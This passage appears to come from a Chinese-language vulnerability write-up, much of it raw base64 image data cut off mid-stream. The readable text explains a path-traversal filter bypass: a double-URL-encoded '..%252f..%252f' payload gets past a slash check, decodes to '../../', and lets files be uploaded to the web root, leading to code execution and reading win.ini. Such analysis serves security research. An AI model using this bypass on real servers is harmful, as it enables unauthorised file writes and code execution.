sG0LfyBI5QZGIxGyshsTSkll3cqleLw+tB3GC0WjEbKbNEM6Dnk5m2vUS0qJlA5NW7ajvKyY/Nyt7pTliXWEkY7EH3TXK4FIRTmGx3ADwSpntm1bxGIxd18A/mCI4vwtbrdF4NruYQ5vUcbpP2ZTEFUBkqIoiqIoyr+VCpD+wgYcegZefxLde3Ym4Pcxc+Z89XqevcTw+vj+vUcwDC8CeHd4PosKgtw9M4C3fj34FEVRFEVRlH8Q1cXuL2zq2HexTJOUwCWkpGUw4bPn93WV/lGM+FTmCHh0bhqrSzQVHCmKoiiKovzLqQzS34BtWUgkhuHZ11X5x4r3QlQURVEURVH+5VQG6W+gtkkHlL1LBUeKoiiKoigKQD0mq1YURVEURVEURflnUwGSoiiKoiiKoihKnAqQFEVRFEVRFEVR4lSApCiKoiiKoiiKEqcCJEVRFEVRFEVRlDgVICmKoiiKoiiKosSpAOkvSErpvphHURRFUepI/kH3Dcdx/pByFUVR/qpUgPQX4jgOGQ0acsboG2jaqs2+ro6iKIryN+Hxejlr9I00atYC27L2SpnJKWkcf9alXHjdXSSlpO6VMhVFUf4O1BtId8N0oEkIGvjdJ2gxB5YXaWh7+cWiUkr6DBzKqDMuQjoOk777fO+u4E8kpSQYSqJl+854DA+F+XmsX70UTdP3WX1i0Qgerw9N24fPBKRE83hJbrkfQvcQK8qlbPNKNMO77+r0F+HxemnTsSten5+SwgJWLZ2P4dlX+0USi0YxDA+avm/O2URNHBtfagO8qVnESvKJleQBVS4+UqIHkkhq1h6h6UQLc6jIWYfYR9+1fxrLMmnZthMZWdlYlsW6FUsoKyvZZ9cR04yBlHi8vlr/3rxNey67+UHGff0x4779GMPw7Pm6YlEuvvE+gqEkCvO2IdTbtBVF+RdRAdJunNI2xqVdi7Ac9+awqdzHWeNS8et7tytDVsPGHHXqBeRsWs8rj9+DZcb+tjek7MZNufSmB9A0gZQSTdOZ9etEvvzLine truncated
|
||||
<p>最后到JSONTokener的nextValue函数,会把传进去的字符串进行一个字符一个字符的判断。</p>
|
||||
<pre><code>如跳转目录的../../../被处理会变成了..</code></pre>
|
||||
<p><a id=img21 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105729-195cbe76-df53-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>window环境下可以直接..\..\即可。为了通用的话还是需要处理一下<br>
|
||||
这里注意到在fromJsObject处理之后会调用如一次decode</p>
|
||||
<p><a id=img22 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105740-201d3f2e-df53-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>这里传递两层url编码即可</p>
|
||||
<pre><code>当发送..%252f..%252f这个字符串后,服务器进行第一次解码,到fromJsObject处理时,此时的路径为..%2f..%2f,绕过/检测,接着经过JsURLDecoder.decode(),变成了../../,最后拼接到filePath。</code></pre>
|
||||
<p>到这里就可以web根目录上传文件了<br>
|
||||
最后,这里就是一个代码执行,也可以调用其他类方法,只是类有点限制,如读文件win.ini。</p>
|
||||
<p><a id=img23 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105759-2afb4d3c-df53-1.png title><img src=data:image/png;base64,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